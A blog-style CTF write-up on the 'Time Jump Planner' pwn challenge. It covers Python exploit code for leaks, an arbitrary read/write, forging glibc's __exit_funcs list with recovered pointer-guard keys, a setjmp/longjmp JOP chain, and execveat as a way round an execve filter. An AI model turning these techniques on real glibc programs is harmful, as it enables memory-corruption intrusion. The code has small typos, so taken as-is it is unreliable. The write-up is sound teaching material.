Breaking Bits
Search
K

Time Jump Planner

No ROP, no SROP, full RELRO, ASLR, DEP, no execve pwn inside of QEMU

Overview

Problem description
Time Jump Planner was a pwn problem hosted by Battelle written by playoff-rondo. This challenge is a pwn problem hosted within a docker container and running through qemu-x86_64 usermode emulation. It is also running a "libjail.so" plugin within qemu to further restrict exploitation options.
The file contents of the problem are shown below:
$ ls
docker-compose.yml flag.txt ld-linux-x86-64.so.2 libjail.so run
Dockerfile jump_planner libc.so.6 qemu-x86_64
We're provided libc, ld-linux , and the binary, so this is our first clue that we'll likely need to leak library addresses when working through this problem.

Approach

To solve this problem I approached it as an arbitrary write/arbitrary read vulnerability with a modern GLIBC.
  • Identify vulnerabilities
  • Leak out addresses
  • Overwrite libc __exit_funcs
  • setjmp/longjmp to JOP chain

Problem restrictions

While looking through the libjail.so plugin for QEMU I saw the following registered callbacks:
undefined8 qemu_plugin_install(undefined8 param_1)
{
return_counter = 0;
qemu_plugin_register_vcpu_tb_trans_cb(param_1,vcpu_tb_trans);
qemu_plugin_register_vcpu_syscall_cb(param_1,vcpu_syscall);
return 0;
}
qemu_plugin_register_vcpu_tb_trans_cb will register a call back for every translated basic block executed by QEMU. and qemu_plugin_register_vcpu_syscall_cb will register a callback for every single syscall run by the usermode program.
The qemu_plugin_register_vcpu_tb_trans_cb will check every "call" and "ret" instruction, matching each call's return address with the corresponding "ret" instruction. If the values do not line up, a message "NO ROPPING!" is printed and the program exits.
void vcpu_mem_ret(undefined8 param_1,undefined8 param_2,long *param_3)
{
g_rw_lock_writer_lock(expand_array_lock);
return_counter = return_counter + -1;
if (return_array[return_counter] != *param_3) {
puts("NO ROPPING!");
exit(0);
}
g_rw_lock_writer_unlock(expand_array_lock);
return;
}
Additionally within the syscall callback we see even more restrictions. "execve" is blocked, which stops one_gadget,system("/bin/sh"), and popen from working for exploitation.
However within this function it is also revealed that there is a backdoor syscall that will print the flag. When called with syscall(0x5add011,"please_give_me_flag",0x6942069420) the flag will be opened and written to STDOUT.
void vcpu_syscall(undefined8 param_1,undefined8 param_2,int param_3,char *param_4,long param_5)
{
int iVar1;
if (param_3 == 0x3b) {
puts("NO EXEC!");
exit(0);
}
if (param_3 == 0x5add011) {
iVar1 = strcmp(param_4,"please_give_me_flag");
if ((iVar1 == 0) && (param_5 == 0x6942069420)) {
puts("Backdoor Unlocked!");
give_flag();
exit(1);
}
}
return;
}

Identifying the vulnerabilities

Setup

When run, the program is designed to print a menu and offer a number of choices for "time traveling". A current year is specified, and a number of options for "quick jumping" are provided, kind of like speed dialing for old phones.
void main(void)
{
byte choice;
int curr_year;
long year_list [5];
/* 2023 */
curr_year = 0x7e7;
memset(year_list,0,0x28);
/* Fill array with 5 random numbers */
setup(year_list);
puts("Time Jump Planner v1.2");
do {
choice = menu(curr_year);
switch(choice) {
case 1:
add(year_list);
break;
case 2:
remove_year(year_list);
break;
case 3:
quick_jump(year_list,&curr_year);
break;
case 4:
manual_jump(&curr_year);
break;
case 5:
list(year_list);
break;
case 6:
puts("Good Bye");
exit(0);
}
} while( true );
}
The "add" and "remove" functions both allow you to add and remove arbitrary numbers from this variable. They will index into the "year_list" variable and take an arbitrary 64bit unsigned integer and set it. This looks like a good setup for arbitrary write!
The "quick_jump" function will set "curr_year" equal to one of the values from the "year_list". While setting the value, quick_jump will only check indexes -1 < index < 11, which enables us to index past the "year_list" array. I'll use this function later to leak out pointers.
void quick_jump(long *param_1,int *curr_year_ptr)
{
long in_FS_OFFSET;
int index;
long cookie;
cookie = *(long *)(in_FS_OFFSET + 0x28);
puts("Quick Jump:");
printf("Index: ");
__isoc99_scanf("%d%*c",&index);
/* OOB Write access. Set this second value to value from array */
if ((index < 0xb) && (-1 < index)) {
printf("Jumping to Year %lu at current location\n",param_1[index]);
*curr_year_ptr = (int)param_1[index];
if (cookie != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
puts("Invalid Index!");
exit(0);
}
The "manual_jump" function is the core to setting up the arbitrary write and read primitives. At first look, the double format string is confusing and it looks like it allows you to specify a number of bytes to read into a "read_buffer" only up to 30. However the check only checks to ensure that our provided input length is less than thirty which means we can use either "-1" to leak a stack value, or "0" to mean read as much data as possible.
printf("\tEnter number of characters of location (max 30): ");
__isoc99_scanf("%d%*c",&num_chars);
/* unsigned comparison bug */
if (0x1e < (int)num_chars) {
num_chars = 0x1e;
}
sprintf(variable_len_s_read,"%%%ds",(ulong)num_chars); // Can turn into %0s or %-1s
printf("\tEnter location: ");
__isoc99_scanf(variable_len_s_read,s_read_buffer);
printf("Jumping to Year %u at %s\n",(ulong)updated_year_value,s_read_buffer);
*curr_year_ptr = updated_year_value;
The scanf above is a buffer overflow, overwritting the read_buffer, a 40 byte buffer, followed by the saved RBP register and then the saved RIP register.
Normally at this point we would try and use the PC overwrite from this function to start constructing a ROP chain, however we are unable to capitalize on the chain with the QEMU plugin! So we'll need to find another way to gain PC control later. For now we can safely overwrite the RBP register and stack_cookie.
The "list" function is also a built in information disclosure vulnerability. The year_list is 5 long values long, however the "list" function will print out 10 long values starting from the "year_list".
void list(long *param_1)
{
uint i;
puts("Quick Jump List:");
for (i = 0; (int)i < 10; i = i + 1) {
if (param_1[(int)i] == 0) {
printf("\t%d) Not Assigned\n",(ulong)i);
}
else {
printf("\t%d) Year: %u\n",(ulong)i,param_1[(int)i]);
}
}
return;
}

Leaks

Stack leak

I recovered 4 leaks that I ended up using for the rest of the problem. The first leak is within "manual_jump". By setting the number of characters to "-1". printf won't be able to read any bytes into the read_buffer and will instead "%s" an earlier stack argument! I think it's an environment variable since on my QEMU it showed my execution path.
def stack_leak():
curr_year = get_current_year()
leak_text = man_jump(str(curr_year).encode(),b"-2",b"55")
leak_text = leak_text.split(b"at ")[1]
leak_text = leak_text.split(b"\n")[0]
leak_val = u64(leak_text.ljust(8,b"\x00"))
return leak_val
These leaks all come from using the "quick_jump" function since it will print out a value at the offset location with "%lu", which lets us read 64byte values out them. Iterating over the 10 options, it was quickly found that the following offsets corresponded to the following leaks:
  • Offset 5 - Stack cookie
  • Offset 7 - libc leak
  • Offset 9 - binary address leak (main address)
Using GDB I found that I needed to subtract "0x29d90 from the libc leak to get the base address. I was able to use pwntools for my other addresses.
stack_cookie = get_index_n(b"5")
libc_leak = get_index_n(b"7")
main_address = get_index_n(b"9")
libc.address = libc_leak - 0x29d90 # offset for provided libc
elf.address = main_address - elf.sym["main"]

Arbitrary read/write

With the stack cookie leak, we can now revisit the "manual_jump" function and overwrite the RBP register! Since "curr_year" and "year_list" from our main function were references by their offsets to RBP, that means we can set these values to anywhere and obtain arbitrary read and write.
The code below has my function to interact with manual_jump to set the RBP, and the wrapper function to do reads and writes! I wrote wrapper around the read4 and write4 to allow me to read and write 8 bytes at a time too for my final exploit.
def pc_overwrite(pc_val, cookie, rbp_val):
# |Cookie | RBP | PC |
curr_year = get_current_year()
return man_jump(str(curr_year).encode(), b"0", b"B"*40+p64(cookie) + p64(rbp_val) + p64(pc_val) + b"55")
def do_read_4(addr):
pc_overwrite(elf.sym["main"]+201, stack_cookie, addr+0x28)
return(list_years()[1])
def do_write_4(addr,value):
pc_overwrite(elf.sym["main"]+201, stack_cookie, addr+0x28)
add_speed_dial(b"1",str(value))

Execution

I was stuck on this part for a little while. We're provided with a 2.35 version libc, which means __free_hook and __malloc_hook overwrites won't work anymore. However I came across this write up talking about overwritting the "__exit_funcs" variable!
Given an arb read/write, we can overwrite this special structure to execute any function we want with control over the first argument. When "exit" gets called, this function is responsible for checking all the DTORS and to cleanup all the linker stuff. However for most C binaries, this means only the "_dl_fini" address will be called.

Finding the exit_function_list

When exit() is called it will actually call _run_exit_handlers with the "__exit_funcs" variable as an argument.
void exit(int __status)
{
_run_exit_handlers(__status,&__exit_funcs,1,1);
}
By opening the binary in ghidra we can see where that pointer is located. For this version of libc, it's located at libc_base_address + "0x219838".
We can't immediately overwrite this structure with our own values yet. libc has started "encrypting" pointers using a special xor key, so we won't be able to supply a new pointer without knowing this value. However the function that is always called happens to be _dl_fini, a function from the ld-linux library!
The library is always aligned after the page, so we can actually use our libc leak to find the offset from our libc base address to this function. At this point, I stepped through the exit_handlers code until the _dl_fini function was decrypted and then subtracted it against my libc base to get my new offset.
dl_fini_offset = 0x230040
dl_fini_addr = libc.address + dl_fini_offset
Since the "encryption" is based off an XOR operation, and since XOR operations are reversible if you have two pieces, we can XOR the encrypted pointer we read out of the structure with our known address from the libc leak and recover the key.
At this point I stole the encrypt/decrypt code from the above mentioned writeup and was able to recover the libc key!
exit_function_list_addr = do_read_8(__exit_funcs)
enc_dl_fini_addr = do_read_8(exit_function_list_addr+0x18)
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
# encrypt a function pointer
def encrypt(v, key):
return rol(v ^ key, 0x11, 64)
key = ror(enc_dl_fini_addr, 0x11, 64) ^ dl_fini_addr
The exit_function_list struct looks like the following:
struct exit_function_list
{
struct exit_function_list *next; 0
size_t idx; 8
struct exit_function fns[32]; -- 0x10
};
It is a linked_list of exit_functions and includes and index and a next pointer. Those exit_function structs look like the following below:
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
Since the structure is a union across a couple different types, it will always be of the length of that largest "CXA" type. So I opted to use the "flavor". Which means in memory, for a single function our function list looks some like below:
| struct func_list* ptr | 8 bytes | offset 0x0 |
| size_t idx | 8 bytes | ofsset 0x8 |
| long int flavor | 8 bytes | offset 0x10 |
| void (*fn) | 8 bytes | offset 0x18 |
| void *arg | 8 bytes | offset 0x20 |
| void *dso_handle | 8 bytes | offset 0x28 |
So for the above code where I'm getting the address of exit_function list, I'm indexing 0x18 bytes into it to get the encrypted function_ptr of _dl_fini.

Forging an exit_function_list

At this point we have a leak for our main binary and libc, so we can use our BSS section to write a fake exit_function_list with our arbitrary write. Then set the __exit_funcs pointer in libc to point to it.
# Set __exit_funcs
do_write_8(__exit_funcs, elf.bss()+0x100)
# Create fake struct
do_write_8(elf.bss()+0x128, 0) # DSO?
do_write_8(elf.bss()+0x120, 0) # argument (rdi = this value)
do_write_8(elf.bss()+0x118, enc_main_addr) # function
do_write_8(elf.bss()+0x110, 4) # flavor CXA
do_write_8(elf.bss()+0x108, 2) # idx -> number of funcs
do_write_8(elf.bss()+0x100, 0) # Next ptr
# call exit
p.sendline(b"6)
This allows us the primitive of call(arg) while controling both RDI and the RIP. This primitive isn't strong enough yet to call our backdoor syscall, so there is still room to develop.

Improving our execution primitive

❌ At this point if we didn't have the restrictions, we could call system("/bin/sh") and win. However "system" relies on execve and gets blocked by the syscall filter.
❌ We also can not fake-rop with chains of rop gadgets in our exit_function_list since registers aren't preserved across function calls.
❌ One of my first thoughts was to trigger an SROP, but when calling "sigreturn" QEMU errors with:
ERROR:../accel/tcg/cpu-exec.c:533:cpu_exec_longjmp_cleanup: assertion failed: (cpu == current_cpu)
❌ I tried setcontext/getcontext, however, getcontext will use "ret" to set the RIP value after all the other registers are set and will trigger the "NO ROPPING!" message again.
❓I suspect that FSOP could have been a solution as you can turn a FILE structure you create into a call primitive with RDI,RSI, and RDX control, however it also looked like a lot of work to learn.
✅ My last resort ended up being setjmp/longjmp. Since I can control rdi, I can point setjmp's jmp_buf argument to the BSS section again, and then modify the saved register. This ended up working and I turned it into a JOP chain.

setjmp/longjmp technique

I didn't see any blog posts written about this, so I want to try and cover as much about it as I could. setjmp and longjmp are used mostly for signals and error handling in c. At the cost of losing most of your registers you can restore a given thread back some function context before an error occurred.
int setjmp(jmp_buf env);
Calling setjmp with a pointer will dump the following register to the given pointer:
# The jmp_buf is assumed to contain the following, in order:
%rbx
%rsp (post-return)
%rbp
%r12
%r13
%r14
%r15
<return address>
Using our arbitrary write primitive from earlier, we can then go in afterwards and change these values. The advantage of using longjmp, is that libc's longjmp will not use "call" or "ret" to return execution to the given state. The would break the purpose behind this error handling code.
These registers are not amazing to control, however with libc at our disposal we have a couple options to extend into jump oriented programming (JOP).

Second execution entry

Fortunately the exit_function_list primitive gives us as many executions as we'd like. So using this primitive, we want to use "setjmp" to store a valid jmpbuf somewhere. (We could just write a fake one and then longjmp directly into it too.) However I want to use this as a chance to show how strong the exit_function_list primitive is.
Our exit_function_list can be expanded to call two functions, by increasing the index and adding a second exit_function structure.
# Overwrite libc __exit_funcs
do_write_8(__exit_funcs, elf.bss()+0x100)
# context_addr is somewhere writeable. In our case, the bss
context_addr = elf.bss()0x500
do_write_8(elf.bss()+0x148, 0) # DSO
do_write_8(elf.bss()+0x140, context_addr) # where to save setjmp
do_write_8(elf.bss()+0x138, enc_setjmp_addr) # runs first
do_write_8(elf.bss()+0x130, 4) # func type
do_write_8(elf.bss()+0x128, 0) # DSO
do_write_8(elf.bss()+0x120, 0) # No arg needed for main
do_write_8(elf.bss()+0x118, enc_main_addr) # Call main second
do_write_8(elf.bss()+0x110, 4) # func type
do_write_8(elf.bss()+0x108, 2) # idx execute two functions
do_write_8(elf.bss()+0x100, 0) # next ptr
So now once setjmp returns, the exit_handler code will run the second function written in the fake exit_function structure, that being our main function of the executable.
This allows us to continue using the arb read/write to overwrite the jmp_buf's values. You can do this up to 32 times, before needing to set the next_ptr to another exit_func_list structure.

Where to JOP

At this point we have control over a handful of registers, but need to get control over our argument registers. Unfortunately I couldn't find a "one JOP" so I ended up chaining two JOP gadgets I found.
In general you want your first gadget set rax to a value you control and to end with "jmp RAX". The gadget I found to do that was inside of libc. This gadget was found in the "twalk_r" function.
120bc5: 4c 89 ea mov rdx,r13
120bc8: be 02 00 00 00 mov esi,0x2
120bcd: 48 89 ef mov rdi,rbp
120bd0: 4c 89 e0 mov rax,r12
120bd3: 5d pop rbp
120bd4: 41 5c pop r12
120bd6: 41 5d pop r13
120bd8: ff e0 jmp rax
I liked that RDX and RAX were being set from r12 and r13. RBP is a register we control too, so this gadget let me set RAX,RDI,RDX and jump to a new location. I didn't have to give up RSP so I can reuse it for another gadget. This gadget was important to set RDX.
My second JOP gadget continues with the "jmp rax" idea and loads my eventual RAX value from RSP, which we still control. This gadget appears to come from the "register_file" hidden function inside of libc for nss_files.
15ce25: 48 8b 04 24 mov rax,QWORD PTR [rsp]
15ce29: 49 63 fc movsxd rdi,r12d
15ce2c: 48 89 9d 20 10 00 00 mov QWORD PTR [rbp+0x1020],rbx
15ce33: 48 83 c4 18 add rsp,0x18
15ce37: 48 89 ee mov rsi,rbp
15ce3a: 5b pop rbx
15ce3b: 5d pop rbp
15ce3c: 41 5c pop r12
15ce3e: 41 5d pop r13
15ce40: 41 5e pop r14
15ce42: 41 5f pop r15
15ce44: ff e0 jmp rax
This gadget is great and gives us the rest of the control we need for controlling arguments, RDI,RSI,(RDX preserved from the last JOP), and RIP (from rax).

Side note

ROPgadget was giving me some issues when searching for gadgets, so I ended up using objdump to manually find my JOP gadgets:
objdump -D -Mintel ./libc.so.6 | grep 'jmp rax' -B 20

Final steps

Hooray! We can now call a function with RDI, RSI, and RDX registers set. The final execution flow looks like this:
| Get leaks |
\/
| Get Arb r/w |
\/
| write fake __exit_funcs | # setjmp -> main again
\/
| call exit |
\/
| setjmp writes to BSS |
\/
| main gets called |
\/
| main to write JOP chain in BSS| # overwritting jmp_buf
\/
| write fake __exit_funcs | # longjmp
\/
| call exit |
\/
| syscall(0x5add011,"please_give_me_flag",0x6942069420) |
With the whole approach finally in mind, I was able to make the finishing touches. After returning from the setjmp call I made sure to write the "please_give_me_flag" string to bss so I could point to it.
arg_addr = elf.bss()+0x200
# "please_g ive_me_f lag\x00\x00\x00\x00\x00"
val1 = 0x675f657361656c70
val2 = 0x665f656d5f657669
val3 = 0x67616c
do_write_8(arg_addr+0x10,val3)
do_write_8(arg_addr+0x8,val2)
do_write_8(arg_addr,val1)
When using the __exit_funcs structure you need to encrypt your pointers:
enc_setjmp_addr = encrypt(libc.sym["setjmp"], key)
enc_main_addr = encrypt(elf.sym["main"], key)
# long_jmp_real_addr = libc.sym['longjmp']
long_jmp_real_addr = libc.address + 0x42290
print(f"longjmp addr : {hex(long_jmp_real_addr)}")
enc_longjmp_addr = encrypt(long_jmp_real_addr, key)
I created a place to store the jmpbuf and wrote my first fake structure:
jmpbuf_addr = elf.bss()+ 0x500
# Create exit_function_list
do_write_8(elf.bss()+0x148, 0) # DSO
do_write_8(elf.bss()+0x140, jmpbuf_addr) #
do_write_8(elf.bss()+0x138, enc_setjmp_addr) # Runs first
do_write_8(elf.bss()+0x130, 4) # Flavor
do_write_8(elf.bss()+0x128, 0) # DSO
do_write_8(elf.bss()+0x120, 0) # No arg needed for main
do_write_8(elf.bss()+0x118, enc_main_addr) # Runs second
do_write_8(elf.bss()+0x110, 4) # Flavor
do_write_8(elf.bss()+0x108, 2) # IDX -> two functions to call
do_write_8(elf.bss()+0x100, 0) # next ptr
# Write to our fake structure
do_write_8(__exit_funcs, elf.bss()+0x100)
# calls exit
p.sendline(b"6")
Once I returned back to main I used that old stack_leak values as scratch space for my JOP. ( I could have used the BSS section here) Then wrote what my RSP should point to in order to populate my arguments for the second JOP.
longjmp seems to use the pointer encryption for libc, so RIP/RSP/RBP registers all need to use the encrypt with the XOR key.
scratch = leak_value
jop_gadget_1 = libc.address + 0x120bc5
jop_gadget_2 = libc.address + 0x15ce25
end_pc_value = libc.sym['syscall']
end_rdi_value = 0x5add011
end_rsi_value = arg_addr
end_rdx_value = 0x6942069420
# Gadget2 uses these
do_write_8(scratch + 0x18, end_pc_value) #end rax value
do_write_8(scratch + 0x10, 0) #end r13 value
do_write_8(scratch + 0x8, end_rdi_value) #end r12
do_write_8(scratch, end_rsi_value) #end rsi value
# RIP in jmpbuf
do_write_8(jmpbuf_addr+0x38, encrypt(super_gadget, key))
# RSP in jmpbuf
do_write_8(jmpbuf_addr+0x30, encrypt(scratch, key))
# R13
do_write_8(jmpbuf_addr+0x18, end_rdx_value)
# R12
do_write_8(jmpbuf_addr+0x10, jop_gadget_2)
# RBP
do_write_8(jmpbuf_addr+0x8, encrypt(0x5add011, key))
# RBX
do_write_8(jmpbuf_addr, scratch)
Finally we can setup a new exit_functions structure, point the libc variable to it, and jump!
do_write_8(elf.bss()+0x128, 0) # DSO
do_write_8(elf.bss()+0x120, jmpbuf_addr) # argument
do_write_8(elf.bss()+0x118, enc_longjmp_addr) # call
do_write_8(elf.bss()+0x110, 4) # flavor
do_write_8(elf.bss()+0x108, 1) # idx
do_write_8(elf.bss()+0x100, 0) # next ptr
# overwrite __exit_funcs again
do_write_8(__exit_funcs, elf.bss()+0x100)
# Trigger exit again
p.sendline(b"6")
print(p.clean())

Flag

My final solution can be found here. It includes far more arb reads and notes.
battelle{keep_jmping_to_the_year_libc_got}

Final thoughts

LGOP

Libc G.O.T. oriented programming?
The challenge author created a technique called LGOP that relies on the partial RELRO compile for the provided libc binary for his solution. I would love a write up explaining how it works, but from briefly going over his solution, it looks like it bypasses the call/ret checking by overwritting GOT entries in libc to point to special gadgets. ( link to technique here )
These gadgets appear to perform register operations, followed by an additional call into a GOT entry. Since these GOT entries are overwritable, he has able to string together a series of these to redirect control flow across several calls.
He was able to control RDI,RSI,RDX with these gadgets and then eventually call the syscall libc symbol.

Execveat

The backdoor syscall is nice, by if we're trying to obtain shell access, the execveat syscall is a nice syscall to consider.
int execveat(int dirfd, const char *pathname,
char *const argv[], char *const envp[],
int flags);
When "pathname" is an absolute path, dirfd is ignored and it functions exactly as execve.
Since it is a different syscall number than execve it provides an alternative to the traditional execve("/bin/sh", NULL,NULL) call for ctfs.
This would have been my next step if the backdoor syscall wasn't available in the libjail.so